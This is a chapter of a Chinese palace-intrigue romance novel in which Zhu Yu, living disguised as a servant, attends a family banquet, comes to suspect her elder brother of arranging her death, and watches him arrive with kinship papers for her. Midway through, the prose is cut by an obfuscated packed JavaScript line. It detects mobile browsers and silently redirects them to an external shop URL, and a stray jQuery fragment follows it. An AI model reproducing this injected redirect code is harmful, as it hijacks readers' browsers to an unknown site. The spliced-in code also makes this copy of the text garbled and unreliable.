孟秦浩领着朱玉抵达朱府时,正值午时。
府外只停了三两辆马车,门庭安静。
朱玉被孟秦浩牵着走到正门前,见到上前迎接的人,却都是一愣。
“朱大人?”
门内站着的并非朱晏珩。
男人鬓发已然花白,脊背却依旧挺直,身形如一柄在风沙中埋了多年的长枪,虽染锈迹,却不曾弯折半分。
——当朝大都督,她的父亲,朱齐深。
三年不见,他似乎没有太大变化。
还是那双锐利的眼睛,与站在人群里便叫旁人不敢高声说话的气势。
“孟公子,何故愣在原地?”朱齐深中气十足朝孟秦浩招了招手。
孟秦浩显然没有料到这次宴会的主人是朱齐深。
他顿了片刻,才收起平日里的散漫:“朱大人,抱歉,晚辈还以为是刑部朱大人的邀请。”
“老夫也是刚从驻地回来,况且我与他称谓相近,弄混也属正常。”
说着,他瞥见孟秦浩身后的朱玉:“这位是?”
朱玉曾无数次担心过父亲会不会骤然苍老,如今见他依旧康健如常,心中情绪一时澎湃难忍,盯着他久久未能发言。
孟秦浩替她接过了话:“这位是我的书童,阿玦。”
“书童?”
朱齐深将这两个字重复了一遍,依旧盯着朱玉。
朱玉回过神来,屈膝行礼:“奴婢见过朱大人。”
“抬起头来。”
她指尖一紧,没有动作。
孟秦浩语气也紧张起来:“朱大人?”
朱齐深笑了笑,语气平常:“老夫只是觉得,阿玦姑娘有些面熟。”
朱玉缓缓抬起头。
父女二人隔着一步之遥,对视在明亮得近乎刺眼的日光下。
朱齐深看了她许久。
久到朱玉几乎以为,他下一刻便会叫出自己的名字。
可最终,他只道:“是老夫多心了,二位先入席吧。”
孟秦浩应下,领着朱玉进了屋里。
朱齐深回过神,笑着摇头:“是老夫多心了。进去吧,世子已经到了。”
朱玉垂下眼,被孟秦浩牵着跨过门槛。
直到朱齐深的视线从背后移开,她紧绷的肩膀才稍稍松懈下来。
正厅内只摆了一张不大的方桌。
谢清平独自坐在右侧,浑黑外袍遮住全身,面色冷淡。
看见孟秦浩牵着朱玉进来,他握着茶杯的手缓缓用力,杯中茶水随之荡开一圈凌乱的波纹。
朱玉本想依规矩站到孟秦浩身后,却被他扣住手腕,直接摁在了身旁的空位上。
“坐。”
朱玉低声道:“奴婢只是书童。”
“今日不是。”
孟秦浩侧过脸,桃花眼里含着笑:“昨日答应本公子的事,忘了?”
朱玉自然没忘。
他要她当着谢清平和朱晏珩的面,证明自己的真心。
可她环视一圈,却没有看见朱晏珩。
桌上也根本没有留给他的座位。
正在疑惑时,外头小厮扬声道:“恭迎长公主殿下——”
朱齐深扶着朝阳公主走进正厅。
朝阳今日只穿着一身浅青长裙,乌发由木簪挽起,装扮素净得不像皇室贵胄。
她示意众人不必多礼,自然地坐到了谢清平身侧。
朱玉这才明白,今日这场所谓的朱家家宴,从一开始便没有邀请朱晏珩。
父亲请来了长公主,却故意避开了自己的长子。
席间简单寒暄几句,话题很快落到谢家的婚约上。
孟秦浩摇着折扇,好心道:“听闻谢家已经在商议聘礼了,世子也到了这个年纪,还是早些定下来为好。”
谢清平冷淡地扫他一眼:“孟公子不如多关心自己。”
“不劳世子费心。”
孟秦浩忽然握住朱玉放在桌上的手,与她十指相扣。
“我倒是已经有了心悦之人。”
朱玉方才正在走神,猝不及防被他拉住,只得迅速挤出一个含情脉脉的笑容。
“奴婢知晓公子情谊。”
二人四目相对,俨然一副恩爱景象。
谢清平维持了半场的冷淡表情,瞬间碎成了一片狰狞。
他不明白,不过短短半个月,朱玉和孟秦浩怎么就成了这样?
朝阳公主默默垂下眼,端起茶杯掩饰尴尬。
朱齐深却笑了两声。
“看到孟公子如今终于敢当众认下心悦之人,老夫也算宽慰。”
孟秦浩脸上的笑容微微一僵。
谢清平抓住这丝异样,追问道:“朱大人此话何意?”
“也没什么。”
朱齐深放下酒杯。
“三年前花朝节,孟公子曾来寻我,说想邀玉儿去凌琅阁庆祝生辰。”
冷不防听到自己的名字,朱玉身形一僵。
孟秦浩察觉到她的异样,紧了紧与她相连的手,低声安抚:“都是过去的事了。”
朱玉勉强朝他笑笑:“奴婢知道。”
当年花朝节前,她确实收到了一封邀请函。
那信上字迹潦草,约她在午时前往凌琅阁,一看便像是出自孟秦浩之手。
“那日朱大人同意之后,我的确命人清空了凌琅阁。”
孟秦浩停顿片刻。
“但那封邀请函,我没有送出去。”
朱玉猛然抬头。
朱齐深也蹙起眉:“孟公子不必为了照顾女伴心情否认过去。”
“并非否认。”
孟秦浩难得收起笑容。
“当时我鼓足勇气写好邀请函,却在最后关头退缩了。我怕朱玉拒绝,也怕自己先低头,便连夜派人把信截了回来。此事孟府上下都可作证。”
谢清平沉声道:“如果你没有送出邀请函,那朱玉为何会只身前往凌琅阁?”
朱玉的耳朵嗡的一声。
如果邀请函不是孟秦浩所送,那么,即便他提前清空了凌琅阁,也不可能设下杀局。
空有竿,没有饵,钓不来鱼。
除了孟秦浩,还有谁知道她的生辰,知道他准备邀请她,也熟知谢清平死士的行事规矩?
一个名字浮上心头。
朱玉心口狠狠一缩。
不可能。
长兄不会杀她。
可越是否认,往日那些细枝末节便越是争先恐后地浮现。
她想起自己死前几日,朱晏珩曾问她花朝节有何安排。
想起出门那日,他恰好不在府中。
想起围绕坟墓生长的大片竹林,想起刻有朱晏珩名字的墓碑。
也想起他曾看着她,轻声道——
玉儿,三年了。
“阿玦?”
孟秦浩的声音将她从混乱中拽回。
她猛然回神,这才发现自己正死死攥着他的手。
“不舒服?”孟秦浩蹙眉,“我们可以先走。”
谢清平也看了过来:“阿玦,脸色怎么如此难看?”
朱玉勉强挤出笑容:“只是酒有些烈。”
朱齐深看了她片刻,没有追问,转而看向朝阳。
“既然谈到婚姻大事,老夫今日正好也有一事想问。”
“公主与犬子的婚约,陛下究竟准备拖到何时?”
方才心里浮现的人猝不及防被提及,朱玉指尖一颤。
朝阳公主无奈道:“朱伯父,这种事不是我一人能定的。况且晏珩自己未必愿意。”
“婚姻大事,哪能事事由着他的性子?”
朱玉垂下眼。
一个年轻有为,一个身份尊贵,任谁来看,都是再般配不过的一桩婚事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788181|210248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
况且长兄已经二十七岁,不可能永远守着一座坟,等一个死去三年的妹妹。
她应该为他开心。
可心脏像是被什么无形之物拽着下沉,连呼吸都泛出丝丝钝痛。
她讨厌这种感觉。
朝阳不愿继续谈婚约,主动转移话题:“朱伯父先前不是答应,要给我看看晏珩幼时的诗集?”
“在书房,公主随老夫来吧。”
二人离席后,朱玉终于支撑不住,身体向旁边一歪。
孟秦浩连忙揽住她的肩膀:“真不舒服,那我们先走?”
话音未落,院外忽然传来一串急促脚步声。
“长公子、长公子!老爷与公主在您的书房呢,您走错了——”
屋内三人同时转过头。
敞开的红漆木门外,朱晏珩穿着一身尚未来得及换下的绯红朝服,快步穿过庭院。
他的乌纱帽因为疾行而些许歪斜,腰上的玉佩碰撞,叮铃响了一路。
朱玉从未见过长兄如此着急的样子。
他微微喘息,胸口起伏,就连向来一丝不苟的头发都散落了几缕。
走到门前时,他终于慢下脚步。
看向屋里的视线直直落在孟秦浩揽在朱玉肩上的手。
随即,缓缓向下,又落在二人十指相扣的手上。
朱晏珩的眼神冷了下来。
孟秦浩见他这般狼狈,笑着想要调侃:“朱大人这是——”
“你如何连他人的邀请都不分清?”
孟秦浩愣了片刻:“你说什么?”
朱晏珩深吸一口气:“谁,允许你带她来这里了?”
屋里骤然一静。
孟秦浩脸上的笑容也淡了:“她是我的书童。本公子要带她去何处,难道还要向朱大人请示?”
“所以,你根本没有问过她是否愿意。”
孟秦浩牵起朱玉的手,在她手背落下一吻。
“我的意愿,自然就是她的意愿。”
他含笑看向朱玉。
“对么,阿玦?”
孟秦浩的唇落在她手背,朱晏珩的目光也随之压了过来。
无喜无悲的一眼,却像一把锋利的刀,沿着她的脊骨一点点向上剖开。
长兄真的动怒了。
朱玉咬住唇,低声道:“是。孟公子的意愿,便是奴婢的意愿。”
孟秦浩满意地笑了:“朱大人可还有问题?”
朱晏珩沉默良久。
再开口时,那阵失控似乎已被他重新压回身体深处,语气恢复了平日的温和。
“没有。”
他一步步走入屋内,先看了看孟秦浩,又看向谢清平。
“本官只是觉得奇怪。”
“二位一个将她带回世子府,一个将她留在孟府,都说自己对她有情。可到头来,没有一个人愿意给她真正的名分。”
孟秦浩蹙眉:“本公子已经当众承认对她的心意。”
“情人算什么名分?”
朱晏珩摇头。
“今日喜欢,便留在身边;明日厌倦,便可随手抛弃。”
“阿玦不该是谁的侍女、书童,也不该只是哪个男人的情人。”
谢清平听出了他的意思:“你是说,替她赎去奴籍?”
朱晏珩看向他:“世子既然想过,为何一直没有去做?”
谢清平脸色骤然沉下。
朱晏珩不再理会二人。
他走到朱玉面前,微微俯身,声音重新变得温和。
“阿玦。”
“先前本官给你的文书,可还带在身上?”
孟秦浩立即警觉起来:“什么文书?”
朱晏珩缓缓直起身。
唇边分明噙着温润笑意,眼神却牢牢锁着朱玉。
“自然是能让她堂堂正正留在朱府的文书。”
“认亲文书。”